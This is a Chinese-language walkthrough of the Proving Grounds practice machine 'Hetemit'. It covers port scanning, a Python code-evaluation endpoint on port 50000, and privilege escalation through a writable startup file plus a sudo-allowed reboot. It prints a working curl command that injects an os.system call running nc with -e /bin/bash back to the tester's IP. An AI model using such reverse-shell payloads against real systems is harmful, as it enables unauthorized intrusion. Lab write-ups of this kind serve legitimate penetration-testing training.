Proving Grounds Practice : Hetemit Walkthrough
Proving Grounds Practice : Hetemit Walkthrough
Foothole (立足點 ) :
- 50000 Port 發現可以執行 code
- 測試了一番是 python Code 所以使用 os.system 的方式用 nc 建立 reverse shell
PE ( 提權 ) :
- sudo -l 發現可以重開機
- linpeas 發現開機執行的檔案可以寫入，直接寫一筆 root 建立 nc 連線
- reboot 後 Root 權限的 Reverse Shell 進來了
注意事項 :
- python code 使用 os.system
Rustscan，└─$ rustscan -a 192.168.155.117 --scripts none --ulimit 5000 | tee rustscan
snmp filtered，└─$ sudo nmap -sU -p 161 192.168.155.117 | tee snmp
nmap，└─$ sudo nmap -sCV -A -p 21,22,80,139,445,18000,50000 192.168.155.117 | tee nmap
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
18000/tcp open biimenu?
50000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.8)
FTP 匿名登入但無法列舉目錄
└─$ enum4linux -a 192.168.155.117 | tee enum4linux
有個資料夾 Cmeeks 但無法存取
使用者帳號 cmeeks
80 /
80 /robots.txt
80 gobuster，└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.155.117 -t 150 -k -x txt,pdf,git,php | tee gobuster
18000 / --> Protomba
searchsploit Protomba 沒有東西
50000 /
searchsploit 沒啥幫助
依據 50000 Port 給的 URI 看看
50000 /generate
50000 /verify
這樣下既然有作用
└─$ curl -X POST -i http://192.168.155.117:50000/verify --data 'code=5*7'
'code=5*7' 是有用的
'code=whoami' 會跳 HTTP 500 Error
'code=os.system("whoami")' 雖然得到 0 但卻是 HTTP 200
將指令改成 "nc 192.168.45.202 21 -e /bin/bash" 成功拿到 shell
└─$ curl -X POST -i http://192.168.155.117:50000/verify --data 'code=os.system("nc 192.168.45.202 21 -e /bin/bash")'
shell 目錄下有個 app.py 看了一下內容正是 50000 Port 的執行結果
果然是 python code 所以 os.system 有用
/home 沒有其他使用者
cat /etc/passwd 只有這個使用者 cmeeks
cat /etc/crontab，看來沒東西
pspy64 只有看到 postgres DB 程序
sudo -l
發現一個好用的 listen 工具 penelope.py ，最重要的是不會因為 CTRL+C 跳出
參考 : https://github.com/brightio/penelope/blob/main/penelope.py
下圖是用 pythone 建立的連線沒有啥好處
但用 nc 建立進來的連線就相當的漂亮，且不用自己再優化 tty
CTRL+C 也不會斷，很讚的工具且還支援 TAB 鍵，真是相見恨晚阿
最重要的是還會寫 Log
執行 linpeas.sh
Linux 核心 4.x 且 sudo 已經過時了
CVE 看到熟悉的 PwnKit
看來沒有成功
其他橘色字體
可以寫入的檔案
root 權限執行且我們可以寫
修改如下改成開機用 root 跑 nc 建立連線
加上剛剛 sudo -l 我們可以直接 reboot，那就直接 reboot 吧
445 進來了，whoami & id 確認是管理者
留言
張貼留言